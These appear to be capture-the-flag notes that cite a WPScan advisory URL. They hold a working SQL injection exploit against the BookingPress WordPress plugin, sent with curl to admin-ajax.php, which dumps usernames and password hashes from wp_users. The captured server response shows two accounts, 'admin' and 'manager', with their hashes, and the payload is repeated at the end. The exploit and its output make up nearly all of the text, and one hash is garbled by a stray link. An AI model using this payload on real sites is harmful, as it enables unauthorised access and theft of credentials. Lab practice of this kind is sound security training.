https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

1. curl $baseurl'/wp-admin/admin-ajax.php' --data "action=bookingpress_front_get_category_services&_wpnonce=$nonce&category_id=33&total_service=-7502) UNION ALL SELECT user_login,user_pass,1,1,2,3,4,5,6 FROM wp_users LIMIT 1 OFFSET $i-- -"

HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 01 Dec 2022 02:05:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/8.0.24 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin Content-Length: 1040

[{"bookingpress_service_id":"admin","bookingpress_category_id":"$[P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV](http://p%24bgrgrgf2wtobs79i07rk9sn4fzk.tv/).","bookingpress_service_name":"1","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"},{"bookingpress_service_id":"manager","bookingpress_category_id":"$P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70","bookingpress_service_name":"1","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]

action=bookingpress_front_get_category_services&_wpnonce=8c57e8f795&category_id=33&total_service=-7502) UNION ALL SELECT user_login,user_pass,1,1,2,3,4,5,6 FROM wp_users-- -